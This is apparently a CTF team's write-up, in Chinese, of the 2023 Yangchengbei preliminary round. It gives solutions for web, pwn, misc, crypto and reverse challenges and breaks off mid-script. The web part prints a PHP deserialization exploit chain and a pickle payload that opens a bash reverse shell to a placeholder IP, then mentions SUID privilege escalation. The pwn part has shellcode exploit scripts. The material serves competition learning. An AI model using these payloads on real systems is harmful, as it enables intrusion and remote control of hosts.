2023羊城杯初赛WriteUp by SAINTSEC

admin 2024年8月10日12:16:312023羊城杯初赛WriteUp by SAINTSEC已关闭评论7 views字数 38064阅读126分52秒阅读模式

Web

D0n't pl4y g4m3!!! -FIX

访问p0p.php 提示有hint.zip 下载后有尊嘟语,找个在线解码,提示了flag的位置

2023羊城杯初赛WriteUp by SAINTSEC

人类语言与尊嘟语的转换器: https://zdjd.vercel.app/

2023羊城杯初赛WriteUp by SAINTSEC

PHP/7.4.21 存在源码泄漏

2023羊城杯初赛WriteUp by SAINTSEC

存在反序列化利用,构造利用链 直接读flag

<?php

class Yang
{
    public  $now=array("YCB1"=>"show_source");
    public function __call($name, $ary)
    {
        echo $name;
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                echo "\n";
                var_dump($name);
               var_dump($this->now);
                echo $this->now[$name];
                echo $ary[0];
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        echo "\n";
        echo "ycb";
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}

class Cheng
{
    private $finish=1;
    public $name=array("name"=>true,'finish'=>true);
    public function __get($value)
    {
        echo "get";
        return $this->$value = $this->name[$value];
    }
}
class Bei
{
   // public $rce='/tmp/catcatf1ag.txt';
    public $rce='/tmp/catcatf1ag.txt';
    public $rce1='rce1';
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            echo "\n";
            echo "1sddd";
            echo "\n";
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}
$b=new Bei();
$y=new Yang();
$y1=new Yang();
$c=new Cheng();
$b->CTF=$y1;
$y1->finish=$c;
$y->finish=$c;
$b->fine=$y;
$y->finish1=$c;
$s=urlencode(serialize($b));
echo $s;
2023羊城杯初赛WriteUp by SAINTSEC

Serpent

下载www.zip可知要session伪造, key就在数据段里面

2023羊城杯初赛WriteUp by SAINTSEC

伪造session访问/verification

2023羊城杯初赛WriteUp by SAINTSEC

得知/ppppppppppick1e路径

2023羊城杯初赛WriteUp by SAINTSEC

提示/src0de 位置,访问得源码 ,得知要pickle反序列化,过滤了R

2023羊城杯初赛WriteUp by SAINTSEC
2023羊城杯初赛WriteUp by SAINTSEC

利用如下

(S'echo \'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1\' >/tmp/s.sh;bash /tmp/s.sh;'
ios
system
.

反弹shell 无权限读取flag, 发现python3.8设置了suid权限, 使用suid提权成功读取flag

2023羊城杯初赛WriteUp by SAINTSEC

PWN

risky_login

from pwn import *
import sys
context.log_level = True

if sys.argv[1] == "r":
    p = remote("tcp.cloud.dasctf.com"25316)
elif sys.argv[1] == "l":
    p = process(["qemu-riscv64""-L"".""pwn"])
else:
    p = process(["qemu-riscv64""-g""1234""-L"".""pwn"])


p.recvuntil('Input ur name:\n')

p.send('a'*8)
p.recvuntil('ords\n')
p.send('c'*0x100+p64(0x123456ee))
p.recvuntil('background debug fun.')
p.send("cat fl*\x00\x00\x00\x00")


p.interactive()

shellcode

from pwn import*
context(os='linux',arch='amd64')
context.log_level=True
elf=ELF('shellcode')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
#p=process('./npuctf_pwn',env={'LD_PRELOAD':'./libc6_2.23.so'})
#p=process('./shellcode')
p=remote('tcp.cloud.dasctf.com',26326)
#attach(p,'b *0x00005555555554f2\nb *0x0000555555555477')

p.recvuntil('Input: (ye / no)\n')

p.send('\x0f\x05')

p.recvuntil('[5] ======== Input Your P0P Code ========\n')
pay='push rbx;pop rdi;pop rsi;pop rdx;pop rsi;push rbx;pop rax;'+'pop rcx;'*8+'push rsi;ret'
#shellcode=asm(shellcraft.sh())
shellcode=asm(pay).ljust(0x10,'\x4f')
#shellcode='\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f'
p.send(shellcode)
#p.send('\x4f'*0X11)


pay='push rbx;pop rax;mov rdx,0x100;syscall;push rbx;pop rax;syscall'
#shellcode=asm(shellcraft.sh())
shellcode='aa'+asm(pay).ljust(0x12,'\x4f')
p.send(shellcode)

pay='./flag\x00\x00'+'\x00'*5
pay1='push rsi;pop rdi;mov rsi,4;mov rax,2;syscall;mov rdi,rax;mov rsi,0;mov rax,0x21;syscall;mov rdi,rax;mov rsi,r8;mov rax,0;syscall;mov rdi, 1;mov rsi,0x100;mov rax,0x21;syscall;mov rdi,rax;mov rsi,r8;mov rax,1;syscall'
#shellcode=asm(shellcraft.sh())
shellcode=str(pay)+asm(pay1).ljust(0x12,'\x4f')

p.send(shellcode)
p.interactive()

Misc

EZ_misc

图片在macos下打不开,怀疑crc不匹配,爆破crc可得正确的高

2023羊城杯初赛WriteUp by SAINTSEC

改高度可以看到

2023羊城杯初赛WriteUp by SAINTSEC

末尾有一个zip,提出来修复文件头,解压

2023羊城杯初赛WriteUp by SAINTSEC

可得

2023羊城杯初赛WriteUp by SAINTSEC

不知所云的直接丢维吉尼亚爆破(https://www.dcode.fr/vigenere-cipher)

2023羊城杯初赛WriteUp by SAINTSEC

snippingtools在*CTF有相似的题,使用CVE-2023-28303恢复截图(https://github.com/frankthetank-music/Acropalypse-Multi-Tool/tree/v1.0.0),拿到flag

2023羊城杯初赛WriteUp by SAINTSEC

Matryoshka

2023羊城杯初赛WriteUp by SAINTSEC

一个rar

2023羊城杯初赛WriteUp by SAINTSEC

一个encrypt,长度20.0mb一眼vc

2023羊城杯初赛WriteUp by SAINTSEC

rar文件尾还一个jpg

2023羊城杯初赛WriteUp by SAINTSEC

提取出来一样的小猫图,一眼盲水印, py2版本的

2023羊城杯初赛WriteUp by SAINTSEC

watermark_is_fun挂载拿到

2023羊城杯初赛WriteUp by SAINTSEC

0宽

2023羊城杯初赛WriteUp by SAINTSEC

base32后维吉尼亚

2023羊城杯初赛WriteUp by SAINTSEC

Crypto

Danger_RSA

 

2023羊城杯初赛WriteUp by SAINTSEC

 

对开次方取整得。

 

2023羊城杯初赛WriteUp by SAINTSEC

 

然后代回

 

2023羊城杯初赛WriteUp by SAINTSEC

 

解出和,最后RSA解密。

# Sage10

N = 20289788565671012003324307131062103060859990244423187333725116068731043744218295859587498278382150779775620675092152011336913225797849717782573829179765649320271927359983554162082141908877255319715400550981462988869084618816967398571437725114356308935833701495015311197958172878812521403732038749414005661189594761246154666465178024563227666440066723650451362032162000998737626370987794816660694178305939474922064726534186386488052827919792122844587807300048430756990391177266977583227470089929347969731703368720788359127837289988944365786283419724178187242169399457608505627145016468888402441344333481249304670223
e = 11079917583
c = 13354219204055754230025847310134936965811370208880054443449019813095522768684299807719787421318648141224402269593016895821181312342830493800652737679627324687428327297369122017160142465940412477792023917546122283870042482432790385644640286392037986185997262289003477817675380787176650410819568815448960281666117602590863047680652856789877783422272330706693947399620261349458556870056095723068536573904350085124198592111773470010262148170379730937529246069218004969402885134027857991552224816835834207152308645148250837667184968030600819179396545349582556181916861808402629154688779221034610013350165801919342549766
a = 4

from gmpy2 import iroot
XpXq = Integer(iroot(N, 4)[0])

tXpa_plus_sXqa = N - e - XpXq^a
tXpa_minu_sXqa = Integer(pow(tXpa_plus_sXqa^2 - 4 * e * XpXq^a, 1/2))
tXpa = (tXpa_plus_sXqa + tXpa_minu_sXqa) // 2
sXqa = tXpa_plus_sXqa - tXpa

t = gcd(e, tXpa)
s = gcd(e, sXqa)
assert s * t == e

Xpa = tXpa // t
Xqa = sXqa // s
p = Xpa + s
q = Xqa + t
assert p * q == N

def nth(y, n, p, k=1):
  F = Zmod(p^k)
  x0 = F(y).nth_root(n)
  u0 = F(1).nth_root(n)
  x = []
  u = []
  for i in range(n):
    u += [u0^(i+1)]
    x += [x0 * u[i]]
  return list(set(x))

ep = gcd(e, p-1)
eq = gcd(e, q-1)
mpe = pow(c, (e//ep).inverse_mod(p-1), p)
#mqe = pow(c, (e//eq).inverse_mod(q-1), q)
mp = nth(mpe, ep, p)
#mq = nth(mqe, eq, q)

import libnum
print(mp)
for m in mp:
  if pow(m, e, N) == c:
    flag = libnum.n2s(int(m))
    print(flag)
    break
  

exit(0)
import itertools
import libnum
for mpmq in itertools.product(*[mp, mq]):
  m = crt(list(mpmq), [p, q])
  flag = libnum.n2s(int(m))
  print(flag)
  
'''
[193791037461644233995376284256372330707402849716940510299664007594824393064330407551687966974688298171142448610230412894226758054727293, 4621918813609781938184868550308988637756887568019678607295799714628811400020200938948497213213266863345216963431445323903028310990768116969361205699319340511813959490981159388955349135031712993955623301024170851428211368608095579239028266700933791397393913281642170606710629062650325921270741696558455903, 5208729084606622037477057818114301217586973260495250596256426296665212781531551895530187842325287550850010085926299699465469816420388206942360370092161366930224726149614873162410172870586923295035593372597252017796986589030221182923984470817141858596481035087931223300902769414406785642085542700850347562021]
b'DASCTF{C0nsTruct!n9_Techn1qUe2_f0r_RSA_Pr1me_EnC2ypt10N}'
'''

Easy_3L

首先解NTRU的密钥,根据密钥生成有,令

 

2023羊城杯初赛WriteUp by SAINTSEC

 

可以构造出线性方程,其中是配平数(有点玄学,后面枚举得),对进行LLL规约得和。

然后是NTRU解密出,2023羊城杯初赛WriteUp by SAINTSEC再然后有2023羊城杯初赛WriteUp by SAINTSEC

凑个和就有2023羊城杯初赛WriteUp by SAINTSEC

代入、和、,再做个GCD可以恢复。

最后计算2023羊城杯初赛WriteUp by SAINTSEC得flag。


S1 = 28572152986082018877402362001567466234043851789360735202177142484311397443337910028526704343260845684960897697228636991096551426116049875141
S2 = 1267231041216362976881495706209012999926322160351147349200659893781191687605978675590209327810284956626443266982499935032073788984220619657447889609681888
S4 = 9739918644806242673966205531575183334306589742344399829232076845951304871478438938119813187502023845332528267974698273405630514228632721928260463654612997
S5 = 9755668823764800147393276745829186812540710004256163127825800861195296361046987938775181398489372822667854079119037446327498475937494635853074634666112736
p = 25886434964719448194352673440525701654705794467884891063997131230558866479588298264578120588832128279435501897537203249743883076992668855905005985050222145380285378634993563571078034923112985724204131887907198503097115380966366598622251191576354831935118147880783949022370177789175320661630501595157946150891275992785113199863734714343650596491139321990230671901990010723398037081693145723605154355325074739107535905777351
h = 2332673914418001018316159191702497430320194762477685969994411366563846498561222483921873160125818295447435796015251682805613716554577537183122368080760105458908517619529332931042168173262127728892648742025494771751133664547888267249802368767396121189473647263861691578834674578112521646941677994097088669110583465311980605508259404858000937372665500663077299603396786862387710064061811000146453852819607311367850587534711
c = 20329058681057003355767546524327270876901063126285410163862577312957425318547938475645814390088863577141554443432653658287774537679738768993301095388221262144278253212238975358868925761055407920504398004143126310247822585095611305912801250788531962681592054588938446210412897150782558115114462054815460318533279921722893020563472010279486838372516063331845966834180751724227249589463408168677246991839581459878242111459287


for i in range(200700):
  print(i)
  D = 2^i
  B = matrix(ZZ, [[1, D*h], [0, D*p]])
  L = B.LLL()
  f = Integer(abs(L[0][0]))
  q = Integer(abs(L[0][1]) // D)
  if not h == (f.inverse_mod(p) * q) % p:
    continue

  a = c * f % p
  S3 = a * f.inverse_mod(q) % q

  n = gcd((S3-S2)^2 - (S2-S1)*(S4-S3), (S4-S3)^2 - (S3-S2)*(S5-S4))
  if n != 1:
    print('f = %d' % f)
    print('q = %d' % q)
    print('n = %d' % n)
    break
a = (S3 - S2) * (S2 - S1).inverse_mod(n) % n
b = (S2 - a * S1) % n
print('a = %d' % a)
print('b = %d' % b)
m = (S1 - b) * a.inverse_mod(n) % n
import libnum
print(libnum.n2s(int(m)))

'''
213
f = 413301180038546973316137674870589882147305293496057497772073927555046884257486263836713004292833493132001243260591164367442485193468991124058625234552087046120678322178758072868296612348525542661280286775661127225791195231643203301751435284753
q = 18772753754134873622668068261315956077681347161806060082164835888595835700109818730322267553874027247668932797883276028015173786305189273696314195165370843863808886406071416313879
n = 12433235385460084327215142269091752668477278692416805859007828624838647815241707248797912107322868748847211061641608674422095027981318008221949510129177787
a = 1017579321905754831612145134014116183026524698685218523407174987842084260441
b = 1244547131344198183940330607549789182491018543684349414313485985685030480
b'DASCTF{NTRU_L0G_a6e_S1mpLe}'
'''

SigninCrypto

flagDES3加密,首先分析IV,可得digest1digest2相等,所以IV1IV2相等,分析hint2可知IV1IV2为4 bytes长,后面异或做了个寂寞,直接拿hint2前4 bytes得IV

然后KEY = K1 + K2 + K3,首先分析长度,DES3的密钥长度是16或24,K2K3都是8,所以KEY应该是24,即K1长度是8,再分析xor得xor了个寂寞,xor的前2 bytes即os.urandom(2),异或回去得K1

Rand()的循环长度明显提示了随机数预测,由于每次循环前都重置一样的seed,根据MT19937可由List1恢复List2,然后就有624个32比特,上RandCrack预测随机数。

flag头是DASCTF,爆破1 bytes得K3

最后解密得flag。

from Crypto.Util.number import *
from Crypto.Cipher import DES3
from randcrack import RandCrack
from string import printable
import itertools
import hashlib

mode = DES3.MODE_CBC
xor = 334648638865560142973669981316964458403
digest = '62343937373634656339396239663236643437363738396663393438316230353665353733303939613830616662663633326463626431643139323130616333363363326631363235313661656632636265396134336361623833636165373964343533666537663934646239396462323666316236396232303539336438336234393737363465633939623966323664343736373839666339343831623035366535373330393961383061666266363332646362643164313932313061633336336332663136323531366165663263626539613433636162383363616537396434353366653766393464623939646232366631623639623230353933643833'
hint2 = 22078953819177294945130027344
hint2 = '47574854d913bccd757e9950'
ciphertext = 'a6546bd93bced0a8533a5039545a54d1fee647007df106612ba643ffae850e201e711f6e193f15d2124ab23b250bd6e1'
ciphertext = bytes.fromhex(ciphertext)

digest1 = digest[: len(digest)//2]
digest2 = digest[len(digest)//2: ]
assert digest1 == digest2

IV1 = bytes.fromhex(hint2[: -16])
IV = IV1 * 2
print(IV)

with open('./task.txt''r'as f:
    data = f.read()
data = data.split('\n')[:-1]
data = [int(x, 16for x in data]
List1 = data[: 624]
List2 = data[624:]
assert len(List2) == 312

'''
Leak1 = []
for i in range(0, 624, 2):
    Leak1 += [List1[i]*2^16 + List1[i+1]]
'''

Leak2 = []
for i in range(312):
    Leak2 += [List1[2*i]   * 2**16 + List2[i] % 2**16]
    Leak2 += [List1[2*i+1] * 2**16 + (List2[i] >> 16)]
assert len(Leak2) == 624
rc = RandCrack()
for l in Leak2:
    rc.submit(l)
K2 = long_to_bytes(rc.predict_getrandbits(64))

xx = long_to_bytes(xor)[:2]
hint1 = bytes_to_long(xx * 8)
K1 = long_to_bytes(hint1 ^ xor)
print(K1)
for f7 in printable:
    K3 = ('DASCTF{' + f7).encode()
    KEY = K1 + K2 + K3

    des3 = DES3.new(KEY, mode, IV)
    m = des3.decrypt(ciphertext)
    if b'DASCTF' in m:
        print(m)
        break

'''
b'GWHTGWHT'
b'dasctfda'
b'DASCTF{8e5ee461-f4e1-4af2-8632-c9d62f4dc073}\x04\x04\x04\x04'
'''

esyRSA

和Wiener攻击一样,大小套一下连分数可解,然后由和可以恢复和。

奈何这出题人把贴了两次。。。

直接套Wiener模板

#n = 8064259277274639864655809758868795854117113170423331934498023294296505063511386001711751916634810056911517464467899780578338013011453082479880809823762824723657495915284790349150975180933698827382368698861967973964030509129133021116919437755292590841218316278732797712538885232908975173746394816520256585937380642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373
# cao
n = 80642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373
d = 14218766449983537783699024084862960813708451888387858392014856544340557703876299258990323621963898510226357248200187173211121827541826897886277531706124228848229095880229718049075745233893843373402201077890407507625110061976931591596708901741146750809962128820611844426759462132623616118530705745098783140913

from tqdm import tqdm
fra = (d/n).continued_fraction()
for i in tqdm(range(len(fra))):
    k = fra.numerator(i)
    e = fra.denominator(i)

    if k != 0 and (e*d-1) % k == 0:
      try:
        phi = (e*d-1) // k
        p_plus_q = n + 1 - phi
        p_min_q = (p_plus_q^2 - 4*n)^(1/2)
        p = (p_plus_q + p_min_q) // 2
        q = n // p
        if p*q == n:
          break
      except:
        continue
      
print('p = %s' % p)
print('q = %s' % q)
print('e = %s' % d)

from hashlib import md5
print("Flag: DASCTF{%s}" % md5(str(p + q).encode()).hexdigest())

'''
p = 10181341212828413853336916619161138854377885230386496425058202154486415709366161346816273366144505351043947477469664133317598479763451392984403646602585037
q = 7920625690369490250766357750388349704260128405941822835255851274284409978206593795103040446837018619894098452542488850045009467407103749792461438242280929
e = 14218766449983537783699024084862960813708451888387858392014856544340557703876299258990323621963898510226357248200187173211121827541826897886277531706124228848229095880229718049075745233893843373402201077890407507625110061976931591596708901741146750809962128820611844426759462132623616118530705745098783140913
Flag: DASCTF{4ae33bea90f030bfddb7ac4d9222ef8f}
'''

MCeorpkpleer

给了的高位,Coppersmith分解得和。

w就是w = pubkey[0],所以知道。

由公钥生成可知

2023羊城杯初赛WriteUp by SAINTSEC

所以

2023羊城杯初赛WriteUp by SAINTSEC

凑两个然后GCD可恢复。

再看en_e

 

2023羊城杯初赛WriteUp by SAINTSEC

 

所以

 

2023羊城杯初赛WriteUp by SAINTSEC

 

由的生成可知,所以

 

2023羊城杯初赛WriteUp by SAINTSEC

 

已经包含的所有比特,所以可恢复然后RSA解密。

ph = 139540788452365306201344680691061363403552933527922544113532931871057569249632300961012384092481349965600565669315386312075890938848151802133991344036696488204791984307057923179655351110456639347861739783538289295071556484465877192913103980697449775104351723521120185802327587352171892429135110880845830815744
n = 22687275367292715121023165106670108853938361902298846206862771935407158965874027802803638281495587478289987884478175402963651345721058971675312390474130344896656045501040131613951749912121302307319667377206302623735461295814304029815569792081676250351680394603150988291840152045153821466137945680377288968814340125983972875343193067740301088120701811835603840224481300390881804176310419837493233326574694092344562954466888826931087463507145512465506577802975542167456635224555763956520133324723112741833090389521889638959417580386320644108693480886579608925996338215190459826993010122431767343984393826487197759618771
c = 156879727064293983713540449709354153986555741467040286464656817265584766312996642691830194777204718013294370729900795379967954637233360644687807499775502507899321601376211142933572536311131955278039722631021587570212889988642265055045777870448827343999745781892044969377246509539272350727171791700388478710290244365826497917791913803035343900620641430005143841479362493138179077146820182826098057144121231954895739989984846588790277051812053349488382941698352320246217038444944941841831556417341663611407424355426767987304941762716818718024107781873815837487744195004393262412593608463400216124753724777502286239464
pubkey = [1814371078078245957754431132342347378731163293397027042136193489880191081126408579146964057324337922573744089217197301376772111322676515919041303163339680295477571239094899119040886432713717284697357122659298141151854091107136797789442345556227332141039336832703666868199642311801049811100060457289269354031494333001813718678080620944829990054411326034241862834489970163233978102725588503469910489701723430817676551040973146910517029245302965312291944073153210877359088959368758322194596326320772668781062749665837718978962318006343188248997513156936886954019029564746992539317081066086205708869424097761796018272244197979313804080715001805481673259393794141224214500893952418336266652976851386463268185725500879995893055415938935230791635844851473448412211301524252287869625983140881149316502642621669632199758221909111507927865008896599274665727334523783595026689797823997181991357135078508006939347199154597407140523552402081804159746379131692305036882329952311498772994627063081808695267998071178231388118924542608580399421353469416435677362782574119826406040734480851179996477647011496671471299270151115113835209806487367389781045334534150562941946210126484461571521950579946158722293422845870014670444537026359650122355240716018187471743656487636706572214805456241523096946281966986461557807413563286569810137846678323150751124303845239341354003496945225337291153571793361215846199738142293703557463103866233571538496798746815831531159870071461549039624044749453029758185546352529935709107619089274556639057589807127322832726782366991717276942138196849365785449953323710137959333351019285782957158818452451374864561263242285705730806288591202331378972685711719241886577360699323241953684677477977036783069052450093503961328663664213663678282778791044207126154581973399739608711298842990551906379449542837628186769067706678271320788]
en_e = 31087054322877663244023458448558

def solve(n, ph, pl=1, pbits=1024):
  hbits = ph.nbits()
  lbits = pl.nbits()
  PR.<x> = PolynomialRing(Zmod(n))
  f = ph * 2^(pbits-hbits) + x * 2^lbits + pl
  f = f.monic()
  roots = f.small_roots(X=2^(pbits-hbits-lbits+1), beta=0.4)
  if roots:        
    pm = Integer(roots[0])
    p = ph * 2^(pbits-hbits) + pm * 2^lbits + pl
    if n % p == 0:
      q = n // p
      return p, q
  return None
p, q = solve(n, ph>>435)
print('p = %d' % p)
print('q = %d' % q)
assert p * q == n

leb = len(pubkey)
l = [pow(3, i) for i in range(leb)]
print(len(bin(sum(l))) - 1)

assert pubkey[0] * 3 == pubkey[1]
w = pubkey[0]
m = gcd(3*pubkey[-2] - pubkey[-1], 3*pubkey[-3] - pubkey[-2])
print('w = %d' % w)
print('m = %d' % m)
assert sum(l) < m

en_e = en_e * w.inverse_mod(m) % m
bine = []
for i in range(leb):
  bine += [str(en_e % 3)]
  en_e //= 3
e = Integer(''.join(bine), 2)
print('e = %d' % e)

import libnum
m = pow(c, e.inverse_mod((p-1)*(q-1)), n)
print(libnum.n2s(int(m)))

'''
p = 139540788452365306201344680691061363403552933527922544113532931871057569249632300961012384092481349965600565669315386312075890938848151802133991344036696488204791984307057923179677630589032444985150800881889090713797496239571291907818169058929859395965304623825442220206712660451198754072531986630133689525911
q = 162585259972480477964240855936099163585362299488578311068842002571891718764319834825730036484383081273549236661473286892739224906812137330941622699836239606393084030874487072527724286268715004074797344316619876830720445250395986443767703356842297999006344406006724963545062388183647988548800359369190326996261
102
w = 18143710780782459577
m = 4522492601441914729446821257037
e = 15960663600754919507
b'DASCTF{T81I_tPPS_6r7g_xlPi_OO3M_6vyV_Rkba}'
'''

XOR贯穿始终

核心价值观编码解码得压缩包密码

C0ngr4tulati0n5_y0u_fou^d_m3

PEM文件被corrupt,参考https://tover.xyz/p/pem-by-hand/手撕一下,得

30820277
020100  # header
300d06092a864886f70d0101010500048202613082025d
0201    # version
00
028181  # n
00b9ad332fb6b87d59b5b20b4ae880ba416d8724111f99a9ed498bcb365091d83dcc43fdff9b607df8a443bcadc79907c921e76b38003b5b0ece660437803195ebfab9a7e23fc0751228fdeefe5591827523d7b79ad04d85e4db5caa13f28a7e0124357d0685e00f14ccbb9679979923c2531ff487f9ba2500ade48995c315d913
0203    # e
010001
028181  # d
00974ebb2da0bb0afb3603970c3e17d8b044af22070a3750b05b849ddeef1d4a986182eed3832cc8bafc316eea36835042e96c0a85a23abc637e72c7f0ea787df06127fe9dc3d21b8dae8018bdffc345107d5271ddb6d5fbc01f8cbf73f44410d61e006208356f1c5b85515efc708b34b676e78f18d4d3b68f5765d10b701f0361
0241    # p
00ea59434f560de2eaf4f21c22fb10691b79485e6290007dc28242bc63739fb95fa03e5ed807000d491f0ca43e50a91d43a6940f390c91757a3ba8226ce58112c9
0241    # q
00cad4c29d017e30ddabd606805044d9ca3e6a3184fb4e1f332845555498c36b02e7b97e2eb09d85c919e30a493ce94ef9412261c3998c7344271b6e6e1b3dfefb

然后做RSA解密发现明文后面不可读

b'DASCTF{0e287wQ\x08R\x17\x00FGXYFZ\x07V\x03kIUCn\x02VDg\x01f\x0cN'

结合题目名字盲猜异或了啥东西,分析不可读的长度发现和压缩包密码长度一致,异或之得flag。

#from Crypto.PublicKey import RSA
from base64 import b64decode
with open('./pri.pem''r'as f:
  data = f.read()

n = 0x00b9ad332fb6b87d59b5b20b4ae880ba416d8724111f99a9ed498bcb365091d83dcc43fdff9b607df8a443bcadc79907c921e76b38003b5b0ece660437803195ebfab9a7e23fc0751228fdeefe5591827523d7b79ad04d85e4db5caa13f28a7e0124357d0685e00f14ccbb9679979923c2531ff487f9ba2500ade48995c315d913
e = 0x010001
d = 0x00974ebb2da0bb0afb3603970c3e17d8b044af22070a3750b05b849ddeef1d4a986182eed3832cc8bafc316eea36835042e96c0a85a23abc637e72c7f0ea787df06127fe9dc3d21b8dae8018bdffc345107d5271ddb6d5fbc01f8cbf73f44410d61e006208356f1c5b85515efc708b34b676e78f18d4d3b68f5765d10b701f0361
p = 0x00ea59434f560de2eaf4f21c22fb10691b79485e6290007dc28242bc63739fb95fa03e5ed807000d491f0ca43e50a91d43a6940f390c91757a3ba8226ce58112c9
q = 0x00cad4c29d017e30ddabd606805044d9ca3e6a3184fb4e1f332845555498c36b02e7b97e2eb09d85c919e30a493ce94ef9412261c3998c7344271b6e6e1b3dfefb
c = 91817924748361493215143897386603397612753451291462468066632608541316135642691873237492166541761504834463859351830616117238028454453831120079998631107520871612398404926417683282285787231775479511469825932022611941912754602165499500350038397852503264709127650106856760043956604644700201911063515109074933378818

print(p * q == n)
m = pow(c, d, n)
import libnum
flag = libnum.n2s(int(m))
print(flag)
key = b'C0ngr4tulati0n5_y0u_fou^d_m3'
flag1 = flag[:12].decode()
flag = flag[12:]
flag2 = ''
for i in range(len(key)):
  flag2 += chr(key[i] ^^ flag[i])
flag = flag1 + flag2
print(flag)

'''
True
b'DASCTF{0e287wQ\x08R\x17\x00FGXYFZ\x07V\x03kIUCn\x02VDg\x01f\x0cN'
DASCTF{0e2874af5e422482378640e61d919e9a}
'''

Reverse

Ez加密器

前两个check是检查verification code的长度(==6)和flag的格式(DASCTF{}),调一下就能出

2023羊城杯初赛WriteUp by SAINTSEC

下一个函数主要对verification code做base64处理,无魔改仅换表

2023羊城杯初赛WriteUp by SAINTSEC
2023羊城杯初赛WriteUp by SAINTSEC

最后一个是对flag进行加密,由常量可得为DES,上面取得的base64是密钥,flag是明文

2023羊城杯初赛WriteUp by SAINTSEC

由常量可以猜测是DES

2023羊城杯初赛WriteUp by SAINTSEC

最后比对的数组xor了7

2023羊城杯初赛WriteUp by SAINTSEC

因此编写exp:

import base64
from Crypto.Cipher import DES

newTable = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/"
oldTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
s = b"7054672C2D65560CDCD4176A2BDE23CF>DDBD550>A61?3F64F7C061C60560A3D>BF?2AA6F350>2046DF4D22C4F3C0EBF"
s = bytes.fromhex(bytes([x^7 for x in s]).decode())

for i in range(1000000):
    vfcode = str(i).rjust(6'0').encode()
    key = base64.b64encode(vfcode).decode().translate(str.maketrans(oldTable, newTable)).encode()
    des = DES.new(key, DES.MODE_ECB)
    data = des.decrypt(s)
    try:
        flag = data.decode()
        print(vfcode, flag)
    except:
        pass

可以爆破出flag

2023羊城杯初赛WriteUp by SAINTSEC

vm_wo

简单vm

2023羊城杯初赛WriteUp by SAINTSEC

两个大整数合成一段opcode(第一个数的最后一个字节被第二个数的第一字节覆盖),用flag[i]和vm_body[0]插进opcode中,然后进interpretBytecode函数跑,跑完以后新的flag[i]是vm_body[0]经过处理的值

这个函数里写了个典型的翻译器,这个爆红的MEMORY[0x100008114]应该是rip,另一个MEMORY[0x100008110]应该是rsp

2023羊城杯初赛WriteUp by SAINTSEC

逆完一遍以后写翻译器(其实根本就没用到这么多-

ins_set = { 0: [32"swap arr[{0}], arr[{1}]"],
            1: [32"xor arr[{0}], arr[{1}]"],
            2: [32"add arr[{0}], 0x{1:0>2X}"],
            3: [32"add arr[{0}], arr[{1}]"],
            4: [32"sub arr[{0}], 0x{1:0>2X}"],
            5: [32"sub arr[{0}], arr[{1}]"],
            6: [32"mul arr[{0}], 0x{1:0>2X}"],
            7: [32"mul arr[{0}], arr[{1}]"],
            8: [32"div arr[{0}], 0x{1:0>2X}"],
            9: [32"div arr[{0}], arr[{1}]"],
           10: [32"mod arr[{0}], 0x{1:0>2X}"],
           11: [32"mod arr[{0}], arr[{1}]"],
           12: [32"shl arr[{0}], 0x{1:0>2X}"],
           13: [32"shl arr[{0}], arr[0], 0x{1:0>2X}"],
           14: [31"push arr[{0}]"],
           15: [31"print arr[{0}]"],
           16: [30"print [rsp]"],
           17: [32"if !arr[{0}]: jmp 0x{1:0>2X}"],
           18: [32"if arr[{0}]: jmp 0x{1:0>2X}"],
           19: [31"jmp 0x{0:0>2X}"],
           20: [31"push r[arr[{0}]]"],
           21: [30"pop arr[0]"],
           22: [31"push 0x{0:0>2X}"],
           23: [30"exit"],
           24: [30"or arr[0], arr[1], arr[2]"],
           25: [32"shr arr[{0}], arr[0], 0x{1:0>2X}"],
           26: [32"mov arr[{0}], 0x{1:0>2X}"]}
opcode = [260255251113272412103260255251213262412104260255251313252412105260255251413242412106]
pc = 0
output = open('assembly.txt''w')
output.write("Addr    Code\n")
addrfmt = "{0:0>3}     "

func_start = [0]
lstFunc = 0
while pc < len(opcode):
    i = pc
    pc += ins_set[opcode[i]][0]
    output.write(addrfmt.format(i-lstFunc))
    if opcode[i] not in ins_set.keys():
        print("\033[0;31m[-] UknOpcode 0x{0:X} in addr 0x{1:0>8X}.\033[0m".format(opcode[i], i))
        break
    else:
        args=[]
        for j in range(ins_set[opcode[i]][1]):
            args.append(opcode[i+1+j])
        output.write(ins_set[opcode[i]][2].format(*args) + '\n')
    if pc in func_start:
        output.write('\n')
        lstFunc = pc

output.close()

拿到翻译后的字节码(arr是vm_body)

2023羊城杯初赛WriteUp by SAINTSEC

0xFF是我自己随便写的一个值,代表被插到opcode中的flag[i]和vm_body[0]

可以看到逻辑是循环位移+xor,vm_body[3]到[6]可以看内存排列知道是dword_100008003

2023羊城杯初赛WriteUp by SAINTSEC

所以可以写exp还原

dst = [0xDF0xD50xF10xD10xFF0xDB0xA10xA50x890xBD0xE90x950xB30x9D0xE90xB30x850x990x870xBF0xE90xB10x890xE90x910x890x890x8F0xAD]

def get_opcode(v1, v2, x):
    l = list(v1.to_bytes(8'little'))
    l = l[:-1] + list(v2.to_bytes(8'little'))
    l[2] = x
    return l

# opcode = get_opcode(0x20D01011903001A, 0x300010201180702, 0xFF)
# opcode += get_opcode(0x20D02011903001A, 0x400010201180602, 0xFF)
# opcode += get_opcode(0x20D03011903001A, 0x500010201180502, 0xFF)
# opcode += get_opcode(0x20D04011903001A, 0x600010201180402, 0xFF)
# print(opcode)

def vm(x):
